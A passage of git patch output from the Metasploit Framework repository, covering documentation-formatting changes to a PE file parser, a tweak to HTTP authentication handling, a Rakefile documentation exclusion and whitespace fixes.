=~ /rbx/ +end + +def jruby? + defined?(RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/ +end + + +module M + def hello; :hello_module; end +end + +$o = Object.new +def $o.hello; :hello_singleton; end + +# A comment for hello + + # It spans two lines and is indented by 2 spaces +def hello; :hello; end + +# a +# b +def comment_test1; end + + # a + # b +def comment_test2; end + +# a +# +# b +def comment_test3; end + +# a + +# b +def comment_test4; end + + +# a + # b + # c +# d +def comment_test5; end + +# This is a comment for MyLambda +MyLambda = lambda { :lambda } +MyProc = Proc.new { :proc } + diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 00ee6c1e5b..2ad3dbcb19 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -107,7 +107,6 @@ class Auxiliary::Web::HTTP {}, opts[:target].ssl, 'SSLv23', - nil, username, password ) @@ -300,8 +299,10 @@ class Auxiliary::Web::HTTP opts['data'] = body if body c = connect - c.username = username - c.password = password + if opts['username'] and opts['username'] != '' + c.username = opts['username'].to_s + c.password = opts['password'].to_s + end Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout ) rescue ::Timeout::Error Response.timed_out From f5c23e4b0208617b12aa1cfe633fd203d12d5664 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 5 Mar 2013 12:35:21 -0600 Subject: [PATCH 425/448] fix typo snaffu --- lib/msf/core/auxiliary/web/http.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 2ad3dbcb19..166370abbc 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -107,6 +107,7 @@ class Auxiliary::Web::HTTP {}, opts[:target].ssl, 'SSLv23', + nil, username, password ) From a64edb33c4742ff376eaf3fdcd8b35abe364e5d6 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 5 Mar 2013 14:34:11 -0600 Subject: [PATCH 426/448] Make code sections look right in docs --- lib/rex/peparsey/pebase.rb | 588 ++++++++++++++++++------------------- 1 file changed, 286 insertions(+), 302 deletions(-) diff --git a/lib/rex/peparsey/pebase.rb b/lib/rex/peparsey/pebase.rb index cb0af219e2..bf268e6b36 100644 --- a/lib/rex/peparsey/pebase.rb +++ b/lib/rex/peparsey/pebase.rb @@ -12,34 +12,31 @@ class PeBase # #define IMAGE_DOS_SIGNATURE 0x5A4D // MZ - IMAGE_DOS_SIGNATURE = 0x5a4d - # - # typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header - # WORD e_magic; // Magic number - # WORD e_cblp; // Bytes on last page of file - # WORD e_cp; // Pages in file - # WORD e_crlc; // Relocations - # WORD e_cparhdr; // Size of header in paragraphs - # WORD e_minalloc; // Minimum extra paragraphs needed - # WORD e_maxalloc; // Maximum extra paragraphs needed - # WORD e_ss; // Initial (relative) SS value - # WORD e_sp; // Initial SP value - # WORD e_csum; // Checksum - # WORD e_ip; // Initial IP value - # WORD e_cs; // Initial (relative) CS value - # WORD e_lfarlc; // File address of relocation table - # WORD e_ovno; // Overlay number - # WORD e_res[4]; // Reserved words - # WORD e_oemid; // OEM identifier (for e_oeminfo) - # WORD e_oeminfo; // OEM information; e_oemid specific - # WORD e_res2[10]; // Reserved words - # LONG e_lfanew; // File address of new exe header - # } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; - # - IMAGE_DOS_HEADER_SIZE = 64 + # Struct + # typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header + # WORD e_magic; // Magic number + # WORD e_cblp; // Bytes on last page of file + # WORD e_cp; // Pages in file + # WORD e_crlc; // Relocations + # WORD e_cparhdr; // Size of header in paragraphs + # WORD e_minalloc; // Minimum extra paragraphs needed + # WORD e_maxalloc; // Maximum extra paragraphs needed + # WORD e_ss; // Initial (relative) SS value + # WORD e_sp; // Initial SP value + # WORD e_csum; // Checksum + # WORD e_ip; // Initial IP value + # WORD e_cs; // Initial (relative) CS value + # WORD e_lfarlc; // File address of relocation table + # WORD e_ovno; // Overlay number + # WORD e_res[4]; // Reserved words + # WORD e_oemid; // OEM identifier (for e_oeminfo) + # WORD e_oeminfo; // OEM information; e_oemid specific + # WORD e_res2[10]; // Reserved words + # LONG e_lfanew; // File address of new exe header + # } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; IMAGE_DOS_HEADER = Rex::Struct2::CStructTemplate.new( [ 'uint16v', 'e_magic', IMAGE_DOS_SIGNATURE ], [ 'uint16v', 'e_cblp', 0 ], @@ -142,31 +139,29 @@ class PeBase return DosHeader.new(rawdata) end - # - # typedef struct _IMAGE_FILE_HEADER { - # WORD Machine; - # WORD NumberOfSections; - # DWORD TimeDateStamp; - # DWORD PointerToSymbolTable; - # DWORD NumberOfSymbols; - # WORD SizeOfOptionalHeader; - # WORD Characteristics; - # } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; - # # #define IMAGE_NT_SIGNATURE 0x00004550 // PE00 - # #define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386. - # #define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64 - # #define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64 - # #define IMAGE_FILE_MACHINE_AMD64 0x8664 // AMD64 (K8) - # #define IMAGE_SIZEOF_FILE_HEADER 20 - # - IMAGE_NT_SIGNATURE = 0x00004550 + # #define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386. IMAGE_FILE_MACHINE_I386 = 0x014c + # #define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64 IMAGE_FILE_MACHINE_IA64 = 0x0200 + # #define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64 IMAGE_FILE_MACHINE_ALPHA64 = 0x0284 + # #define IMAGE_FILE_MACHINE_AMD64 0x8664 // AMD64 (K8) IMAGE_FILE_MACHINE_AMD64 = 0x8664 + # #define IMAGE_SIZEOF_FILE_HEADER 20 IMAGE_FILE_HEADER_SIZE = 20+4 # because we include the signature + + # C struct defining the PE file header + # typedef struct _IMAGE_FILE_HEADER { + # WORD Machine; + # WORD NumberOfSections; + # DWORD TimeDateStamp; + # DWORD PointerToSymbolTable; + # DWORD NumberOfSymbols; + # WORD SizeOfOptionalHeader; + # WORD Characteristics; + # } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; IMAGE_FILE_HEADER = Rex::Struct2::CStructTemplate.new( # not really in the header, but easier for us this way [ 'uint32v', 'NtSignature', 0 ], @@ -222,24 +217,23 @@ class PeBase return FileHeader.new(rawdata) end - # - # typedef struct _IMAGE_IMPORT_DESCRIPTOR { - # union { - # DWORD Characteristics; // 0 for terminating null import descriptor - # DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) - # }; - # DWORD TimeDateStamp; // 0 if not bound, - # // -1 if bound, and real date\time stamp - # // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) - # // O.W. date/time stamp of DLL bound to (Old BIND) - # - # DWORD ForwarderChain; // -1 if no forwarders - # DWORD Name; - # DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) - # } IMAGE_IMPORT_DESCRIPTOR; - # IMAGE_ORDINAL_FLAG32 = 0x80000000 IMAGE_IMPORT_DESCRIPTOR_SIZE = 20 + # Struct + # typedef struct _IMAGE_IMPORT_DESCRIPTOR { + # union { + # DWORD Characteristics; // 0 for terminating null import descriptor + # DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) + # }; + # DWORD TimeDateStamp; // 0 if not bound, + # // -1 if bound, and real date\time stamp + # // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) + # // O.W. date/time stamp of DLL bound to (Old BIND) + # + # DWORD ForwarderChain; // -1 if no forwarders + # DWORD Name; + # DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) + # } IMAGE_IMPORT_DESCRIPTOR; IMAGE_IMPORT_DESCRIPTOR = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'OriginalFirstThunk', 0 ], [ 'uint32v', 'TimeDateStamp', 0 ], @@ -248,11 +242,10 @@ class PeBase [ 'uint32v', 'FirstThunk', 0 ] ) - # - # typedef struct _IMAGE_IMPORT_BY_NAME { - # WORD Hint; - # BYTE Name[1]; - # } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME; + # typedef struct _IMAGE_IMPORT_BY_NAME { + # WORD Hint; + # BYTE Name[1]; + # } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME; # class ImportDescriptor @@ -271,22 +264,22 @@ class PeBase end end - # - # typedef struct _IMAGE_EXPORT_DIRECTORY { - # DWORD Characteristics; - # DWORD TimeDateStamp; - # WORD MajorVersion; - # WORD MinorVersion; - # DWORD Name; - # DWORD Base; - # DWORD NumberOfFunctions; - # DWORD NumberOfNames; - # DWORD AddressOfFunctions; // RVA from base of image - # DWORD AddressOfNames; // RVA from base of image - # DWORD AddressOfNameOrdinals; // RVA from base of image - # } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; - # + # sizeof(struct _IMAGE_EXPORT_DESCRIPTOR) IMAGE_EXPORT_DESCRIPTOR_SIZE = 40 + # Struct defining the export table + # typedef struct _IMAGE_EXPORT_DIRECTORY { + # DWORD Characteristics; + # DWORD TimeDateStamp; + # WORD MajorVersion; + # WORD MinorVersion; + # DWORD Name; + # DWORD Base; + # DWORD NumberOfFunctions; + # DWORD NumberOfNames; + # DWORD AddressOfFunctions; // RVA from base of image + # DWORD AddressOfNames; // RVA from base of image + # DWORD AddressOfNameOrdinals; // RVA from base of image + # } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; IMAGE_EXPORT_DESCRIPTOR = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'Characteristics', 0 ], [ 'uint32v', 'TimeDateStamp', 0 ], @@ -320,12 +313,6 @@ class PeBase end end - # - # typedef struct _IMAGE_DATA_DIRECTORY { - # DWORD VirtualAddress; - # DWORD Size; - # } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; - # IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 IMAGE_DATA_DIRECTORY_SIZE = 8 IMAGE_DIRECTORY_ENTRY_EXPORT = 0 @@ -344,57 +331,62 @@ class PeBase IMAGE_DIRECTORY_ENTRY_IAT = 12 IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13 IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14 + # Struct + # typedef struct _IMAGE_DATA_DIRECTORY { + # DWORD VirtualAddress; + # DWORD Size; + # } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; IMAGE_DATA_DIRECTORY = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'VirtualAddress', 0 ], [ 'uint32v', 'Size', 0 ] ) + # Struct + # typedef struct _IMAGE_OPTIONAL_HEADER { + # // + # // Standard fields. + # // # - # typedef struct _IMAGE_OPTIONAL_HEADER { - # // - # // Standard fields. - # // + # WORD Magic; + # BYTE MajorLinkerVersion; + # BYTE MinorLinkerVersion; + # DWORD SizeOfCode; + # DWORD SizeOfInitializedData; + # DWORD SizeOfUninitializedData; + # DWORD AddressOfEntryPoint; + # DWORD BaseOfCode; + # DWORD BaseOfData; # - # WORD Magic; - # BYTE MajorLinkerVersion; - # BYTE MinorLinkerVersion; - # DWORD SizeOfCode; - # DWORD SizeOfInitializedData; - # DWORD SizeOfUninitializedData; - # DWORD AddressOfEntryPoint; - # DWORD BaseOfCode; - # DWORD BaseOfData; + # // + # // NT additional fields. + # // # - # // - # // NT additional fields. - # // + # DWORD ImageBase; + # DWORD SectionAlignment; + # DWORD FileAlignment; + # WORD MajorOperatingSystemVersion; + # WORD MinorOperatingSystemVersion; + # WORD MajorImageVersion; + # WORD MinorImageVersion; + # WORD MajorSubsystemVersion; + # WORD MinorSubsystemVersion; + # DWORD Win32VersionValue; + # DWORD SizeOfImage; + # DWORD SizeOfHeaders; + # DWORD CheckSum; + # WORD Subsystem; + # WORD DllCharacteristics; + # DWORD SizeOfStackReserve; + # DWORD SizeOfStackCommit; + # DWORD SizeOfHeapReserve; + # DWORD SizeOfHeapCommit; + # DWORD LoaderFlags; + # DWORD NumberOfRvaAndSizes; + # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; + # } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; # - # DWORD ImageBase; - # DWORD SectionAlignment; - # DWORD FileAlignment; - # WORD MajorOperatingSystemVersion; - # WORD MinorOperatingSystemVersion; - # WORD MajorImageVersion; - # WORD MinorImageVersion; - # WORD MajorSubsystemVersion; - # WORD MinorSubsystemVersion; - # DWORD Win32VersionValue; - # DWORD SizeOfImage; - # DWORD SizeOfHeaders; - # DWORD CheckSum; - # WORD Subsystem; - # WORD DllCharacteristics; - # DWORD SizeOfStackReserve; - # DWORD SizeOfStackCommit; - # DWORD SizeOfHeapReserve; - # DWORD SizeOfHeapCommit; - # DWORD LoaderFlags; - # DWORD NumberOfRvaAndSizes; - # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; - # } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; - # - # #define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b - # #define IMAGE_SIZEOF_NT_OPTIONAL32_HEADER 224 + # #define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b + # #define IMAGE_SIZEOF_NT_OPTIONAL32_HEADER 224 # IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b @@ -450,46 +442,44 @@ class PeBase )] ) - # - # typedef struct _IMAGE_OPTIONAL_HEADER64 { - # USHORT Magic; - # UCHAR MajorLinkerVersion; - # UCHAR MinorLinkerVersion; - # ULONG SizeOfCode; - # ULONG SizeOfInitializedData; - # ULONG SizeOfUninitializedData; - # ULONG AddressOfEntryPoint; - # ULONG BaseOfCode; - # ULONGLONG ImageBase; - # ULONG SectionAlignment; - # ULONG FileAlignment; - # USHORT MajorOperatingSystemVersion; - # USHORT MinorOperatingSystemVersion; - # USHORT MajorImageVersion; - # USHORT MinorImageVersion; - # USHORT MajorSubsystemVersion; - # USHORT MinorSubsystemVersion; - # ULONG Win32VersionValue; - # ULONG SizeOfImage; - # ULONG SizeOfHeaders; - # ULONG CheckSum; - # USHORT Subsystem; - # USHORT DllCharacteristics; - # ULONGLONG SizeOfStackReserve; - # ULONGLONG SizeOfStackCommit; - # ULONGLONG SizeOfHeapReserve; - # ULONGLONG SizeOfHeapCommit; - # ULONG LoaderFlags; - # ULONG NumberOfRvaAndSizes; - # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; - # } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; - # - # #define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b # #define IMAGE_SIZEOF_NT_OPTIONAL64_HEADER 240 - # - IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b + # #define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b IMAGE_SIZEOF_NT_OPTIONAL64_HEADER = 240 + + # Struct + # typedef struct _IMAGE_OPTIONAL_HEADER64 { + # USHORT Magic; + # UCHAR MajorLinkerVersion; + # UCHAR MinorLinkerVersion; + # ULONG SizeOfCode; + # ULONG SizeOfInitializedData; + # ULONG SizeOfUninitializedData; + # ULONG AddressOfEntryPoint; + # ULONG BaseOfCode; + # ULONGLONG ImageBase; + # ULONG SectionAlignment; + # ULONG FileAlignment; + # USHORT MajorOperatingSystemVersion; + # USHORT MinorOperatingSystemVersion; + # USHORT MajorImageVersion; + # USHORT MinorImageVersion; + # USHORT MajorSubsystemVersion; + # USHORT MinorSubsystemVersion; + # ULONG Win32VersionValue; + # ULONG SizeOfImage; + # ULONG SizeOfHeaders; + # ULONG CheckSum; + # USHORT Subsystem; + # USHORT DllCharacteristics; + # ULONGLONG SizeOfStackReserve; + # ULONGLONG SizeOfStackCommit; + # ULONGLONG SizeOfHeapReserve; + # ULONGLONG SizeOfHeapCommit; + # ULONG LoaderFlags; + # ULONG NumberOfRvaAndSizes; + # IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; + # } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; IMAGE_OPTIONAL_HEADER64 = Rex::Struct2::CStructTemplate.new( [ 'uint16v', 'Magic', 0 ], [ 'uint8', 'MajorLinkerVersion', 0 ], @@ -601,27 +591,24 @@ class PeBase end - # - # typedef struct _IMAGE_SECTION_HEADER { - # BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; - # union { - # DWORD PhysicalAddress; - # DWORD VirtualSize; - # } Misc; - # DWORD VirtualAddress; - # DWORD SizeOfRawData; - # DWORD PointerToRawData; - # DWORD PointerToRelocations; - # DWORD PointerToLinenumbers; - # WORD NumberOfRelocations; - # WORD NumberOfLinenumbers; - # DWORD Characteristics; - # } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; - # # #define IMAGE_SIZEOF_SECTION_HEADER 40 - # - IMAGE_SIZEOF_SECTION_HEADER = 40 + # Struct + # typedef struct _IMAGE_SECTION_HEADER { + # BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; + # union { + # DWORD PhysicalAddress; + # DWORD VirtualSize; + # } Misc; + # DWORD VirtualAddress; + # DWORD SizeOfRawData; + # DWORD PointerToRawData; + # DWORD PointerToRelocations; + # DWORD PointerToLinenumbers; + # WORD NumberOfRelocations; + # WORD NumberOfLinenumbers; + # DWORD Characteristics; + # } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; IMAGE_SECTION_HEADER = Rex::Struct2::CStructTemplate.new( [ 'string', 'Name', 8, '' ], [ 'uint32v', 'Misc', 0 ], @@ -669,17 +656,16 @@ class PeBase return section_headers end - # - # typedef struct _IMAGE_BASE_RELOCATION { - # DWORD VirtualAddress; - # DWORD SizeOfBlock; - # // WORD TypeOffset[1]; - # } IMAGE_BASE_RELOCATION; - # typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION; - # # #define IMAGE_SIZEOF_BASE_RELOCATION 8 - # IMAGE_SIZEOF_BASE_RELOCATION = 8 + + # Struct + # typedef struct _IMAGE_BASE_RELOCATION { + # DWORD VirtualAddress; + # DWORD SizeOfBlock; + # // WORD TypeOffset[1]; + # } IMAGE_BASE_RELOCATION; + # typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION; IMAGE_BASE_RELOCATION = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'VirtualAddress', 0 ], [ 'uint32v', 'SizeOfBlock', 0 ] @@ -739,29 +725,29 @@ class PeBase end end - # - # typedef struct { - # DWORD Size; - # DWORD TimeDateStamp; - # WORD MajorVersion; - # WORD MinorVersion; - # DWORD GlobalFlagsClear; - # DWORD GlobalFlagsSet; - # DWORD CriticalSectionDefaultTimeout; - # DWORD DeCommitFreeBlockThreshold; - # DWORD DeCommitTotalFreeThreshold; - # DWORD LockPrefixTable; // VA - # DWORD MaximumAllocationSize; - # DWORD VirtualMemoryThreshold; - # DWORD ProcessHeapFlags; - # DWORD ProcessAffinityMask; - # WORD CSDVersion; - # WORD Reserved1; - # DWORD EditList; // VA - # DWORD SecurityCookie; // VA - # DWORD SEHandlerTable; // VA - # DWORD SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY32, *PIMAGE_LOAD_CONFIG_DIRECTORY32; + # Struct + # typedef struct { + # DWORD Size; + # DWORD TimeDateStamp; + # WORD MajorVersion; + # WORD MinorVersion; + # DWORD GlobalFlagsClear; + # DWORD GlobalFlagsSet; + # DWORD CriticalSectionDefaultTimeout; + # DWORD DeCommitFreeBlockThreshold; + # DWORD DeCommitTotalFreeThreshold; + # DWORD LockPrefixTable; // VA + # DWORD MaximumAllocationSize; + # DWORD VirtualMemoryThreshold; + # DWORD ProcessHeapFlags; + # DWORD ProcessAffinityMask; + # WORD CSDVersion; + # WORD Reserved1; + # DWORD EditList; // VA + # DWORD SecurityCookie; // VA + # DWORD SEHandlerTable; // VA + # DWORD SEHandlerCount; + # } IMAGE_LOAD_CONFIG_DIRECTORY32, *PIMAGE_LOAD_CONFIG_DIRECTORY32; # IMAGE_LOAD_CONFIG_DIRECTORY32 = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'Size', 0 ], @@ -786,30 +772,29 @@ class PeBase [ 'uint32v', 'SEHandlerCount', 0 ] ) - # - # typedef struct { - # ULONG Size; - # ULONG TimeDateStamp; - # USHORT MajorVersion; - # USHORT MinorVersion; - # ULONG GlobalFlagsClear; - # ULONG GlobalFlagsSet; - # ULONG CriticalSectionDefaultTimeout; - # ULONGLONG DeCommitFreeBlockThreshold; - # ULONGLONG DeCommitTotalFreeThreshold; - # ULONGLONG LockPrefixTable; // VA - # ULONGLONG MaximumAllocationSize; - # ULONGLONG VirtualMemoryThreshold; - # ULONGLONG ProcessAffinityMask; - # ULONG ProcessHeapFlags; - # USHORT CSDVersion; - # USHORT Reserved1; - # ULONGLONG EditList; // VA - # ULONGLONG SecurityCookie; // VA - # ULONGLONG SEHandlerTable; // VA - # ULONGLONG SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY64, *PIMAGE_LOAD_CONFIG_DIRECTORY64; - # + # Struct + # typedef struct { + # ULONG Size; + # ULONG TimeDateStamp; + # USHORT MajorVersion; + # USHORT MinorVersion; + # ULONG GlobalFlagsClear; + # ULONG GlobalFlagsSet; + # ULONG CriticalSectionDefaultTimeout; + # ULONGLONG DeCommitFreeBlockThreshold; + # ULONGLONG DeCommitTotalFreeThreshold; + # ULONGLONG LockPrefixTable; // VA + # ULONGLONG MaximumAllocationSize; + # ULONGLONG VirtualMemoryThreshold; + # ULONGLONG ProcessAffinityMask; + # ULONG ProcessHeapFlags; + # USHORT CSDVersion; + # USHORT Reserved1; + # ULONGLONG EditList; // VA + # ULONGLONG SecurityCookie; // VA + # ULONGLONG SEHandlerTable; // VA + # ULONGLONG SEHandlerCount; + # } IMAGE_LOAD_CONFIG_DIRECTORY64, *PIMAGE_LOAD_CONFIG_DIRECTORY64; IMAGE_LOAD_CONFIG_DIRECTORY64 = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'Size', 0 ], [ 'uint32v', 'TimeDateStamp', 0 ], @@ -838,12 +823,14 @@ class PeBase end + #-- # doesn't seem to be used -- not compatible with 64-bit #def self._parse_config_header(rawdata) # header = IMAGE_LOAD_CONFIG_DIRECTORY32.make_struct # header.from_s(rawdata) # ConfigHeader.new(header) #end + #++ def _parse_config_header @@ -879,30 +866,29 @@ class PeBase # TLS Directory # - # - # typedef struct { - # DWORD Size; - # DWORD TimeDateStamp; - # WORD MajorVersion; - # WORD MinorVersion; - # DWORD GlobalFlagsClear; - # DWORD GlobalFlagsSet; - # DWORD CriticalSectionDefaultTimeout; - # DWORD DeCommitFreeBlockThreshold; - # DWORD DeCommitTotalFreeThreshold; - # DWORD LockPrefixTable; // VA - # DWORD MaximumAllocationSize; - # DWORD VirtualMemoryThreshold; - # DWORD ProcessHeapFlags; - # DWORD ProcessAffinityMask; - # WORD CSDVersion; - # WORD Reserved1; - # DWORD EditList; // VA - # DWORD SecurityCookie; // VA - # DWORD SEHandlerTable; // VA - # DWORD SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY32, *PIMAGE_LOAD_CONFIG_DIRECTORY32; - # + # Struct + # typedef struct { + # DWORD Size; + # DWORD TimeDateStamp; + # WORD MajorVersion; + # WORD MinorVersion; + # DWORD GlobalFlagsClear; + # DWORD GlobalFlagsSet; + # DWORD CriticalSectionDefaultTimeout; + # DWORD DeCommitFreeBlockThreshold; + # DWORD DeCommitTotalFreeThreshold; + # DWORD LockPrefixTable; // VA + # DWORD MaximumAllocationSize; + # DWORD VirtualMemoryThreshold; + # DWORD ProcessHeapFlags; + # DWORD ProcessAffinityMask; + # WORD CSDVersion; + # WORD Reserved1; + # DWORD EditList; // VA + # DWORD SecurityCookie; // VA + # DWORD SEHandlerTable; // VA + # DWORD SEHandlerCount; + # } IMAGE_LOAD_CONFIG_DIRECTORY32, *PIMAGE_LOAD_CONFIG_DIRECTORY32; IMAGE_LOAD_TLS_DIRECTORY32 = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'Size', 0 ], [ 'uint32v', 'TimeDateStamp', 0 ], @@ -926,30 +912,29 @@ class PeBase [ 'uint32v', 'SEHandlerCount', 0 ] ) - # - # typedef struct { - # ULONG Size; - # ULONG TimeDateStamp; - # USHORT MajorVersion; - # USHORT MinorVersion; - # ULONG GlobalFlagsClear; - # ULONG GlobalFlagsSet; - # ULONG CriticalSectionDefaultTimeout; - # ULONGLONG DeCommitFreeBlockThreshold; - # ULONGLONG DeCommitTotalFreeThreshold; - # ULONGLONG LockPrefixTable; // VA - # ULONGLONG MaximumAllocationSize; - # ULONGLONG VirtualMemoryThreshold; - # ULONGLONG ProcessAffinityMask; - # ULONG ProcessHeapFlags; - # USHORT CSDVersion; - # USHORT Reserved1; - # ULONGLONG EditList; // VA - # ULONGLONG SecurityCookie; // VA - # ULONGLONG SEHandlerTable; // VA - # ULONGLONG SEHandlerCount; - # } IMAGE_LOAD_CONFIG_DIRECTORY64, *PIMAGE_LOAD_CONFIG_DIRECTORY64; - # + # Struct + # typedef struct { + # ULONG Size; + # ULONG TimeDateStamp; + # USHORT MajorVersion; + # USHORT MinorVersion; + # ULONG GlobalFlagsClear; + # ULONG GlobalFlagsSet; + # ULONG CriticalSectionDefaultTimeout; + # ULONGLONG DeCommitFreeBlockThreshold; + # ULONGLONG DeCommitTotalFreeThreshold; + # ULONGLONG LockPrefixTable; // VA + # ULONGLONG MaximumAllocationSize; + # ULONGLONG VirtualMemoryThreshold; + # ULONGLONG ProcessAffinityMask; + # ULONG ProcessHeapFlags; + # USHORT CSDVersion; + # USHORT Reserved1; + # ULONGLONG EditList; // VA + # ULONGLONG SecurityCookie; // VA + # ULONGLONG SEHandlerTable; // VA + # ULONGLONG SEHandlerCount; + # } IMAGE_LOAD_CONFIG_DIRECTORY64, *PIMAGE_LOAD_CONFIG_DIRECTORY64; IMAGE_LOAD_TLS_DIRECTORY64 = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'Size', 0 ], [ 'uint32v', 'TimeDateStamp', 0 ], @@ -1014,14 +999,13 @@ class PeBase # ## - # - # typedef struct _IMAGE_RUNTIME_FUNCTION_ENTRY { - # DWORD BeginAddress; - # DWORD EndAddress; - # DWORD UnwindInfoAddress; - # } _IMAGE_RUNTIME_FUNCTION_ENTRY, *_PIMAGE_RUNTIME_FUNCTION_ENTRY; - # IMAGE_RUNTIME_FUNCTION_ENTRY_SZ = 12 + # Struct + # typedef struct _IMAGE_RUNTIME_FUNCTION_ENTRY { + # DWORD BeginAddress; + # DWORD EndAddress; + # DWORD UnwindInfoAddress; + # } _IMAGE_RUNTIME_FUNCTION_ENTRY, *_PIMAGE_RUNTIME_FUNCTION_ENTRY; IMAGE_RUNTIME_FUNCTION_ENTRY = Rex::Struct2::CStructTemplate.new( [ 'uint32v', 'BeginAddress', 0 ], [ 'uint32v', 'EndAddress', 0 ], @@ -1069,7 +1053,7 @@ class PeBase class UnwindInfo def initialize(pe, unwind_rva) data = pe.read_rva(unwind_rva, UNWIND_INFO_HEADER_SZ) - + unwind = UNWIND_INFO_HEADER.make_struct unwind.from_s(data) @@ -1115,26 +1099,26 @@ class PeBase def _load_exception_directory @exception = [] - + exception_entry = _optional_header['DataDirectory'][IMAGE_DIRECTORY_ENTRY_EXCEPTION] rva = exception_entry.v['VirtualAddress'] size = exception_entry.v['Size'] - + return if (rva == 0) - + data = _isource.read(rva_to_file_offset(rva), size) - + case hdr.file.Machine when IMAGE_FILE_MACHINE_AMD64 count = data.length / IMAGE_RUNTIME_FUNCTION_ENTRY_SZ - + count.times { |current| @exception << RuntimeFunctionEntry.new(self, data.slice!(0, IMAGE_RUNTIME_FUNCTION_ENTRY_SZ)) } else end - + return @exception end @@ -1651,7 +1635,7 @@ class PeBase rname.to_s end - + def update_checksum off = _dos_header.e_lfanew + IMAGE_FILE_HEADER_SIZE + 0x40 _isource.rawdata[off, 4] = [0].pack('V') From a57f04adb418ca112674d02d6df2c03ea2567a6c Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 5 Mar 2013 14:34:27 -0600 Subject: [PATCH 427/448] Exclude tests from documentation --- Rakefile | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/Rakefile b/Rakefile index a365eedfb9..d32e9352cb 100644 --- a/Rakefile +++ b/Rakefile @@ -16,11 +16,16 @@ namespace :yard do '-', 'COPYING', 'HACKING', - 'THIRD-PARTY.md' + 'LICENSE', + 'CONTRIBUTING.md', ] yard_options = [ # include documentation for protected methods for developers extending the code. - '--protected' + '--protected', + # Don't bother with files meant to be examples + '--exclude', 'samples/', + '--exclude', '\.ut\.rb/', + '--exclude', '\.ts\.rb/', ] YARD::Rake::YardocTask.new(:doc) do |t| From a928e5f963199e394c8402a17674035bb616cd4c Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 5 Mar 2013 14:34:56 -0600 Subject: [PATCH 428/448] Whitespace --- lib/msf/core/db.rb | 40 ++++++++++++++++++++-------------------- 1 file changed, 20 insertions(+), 20 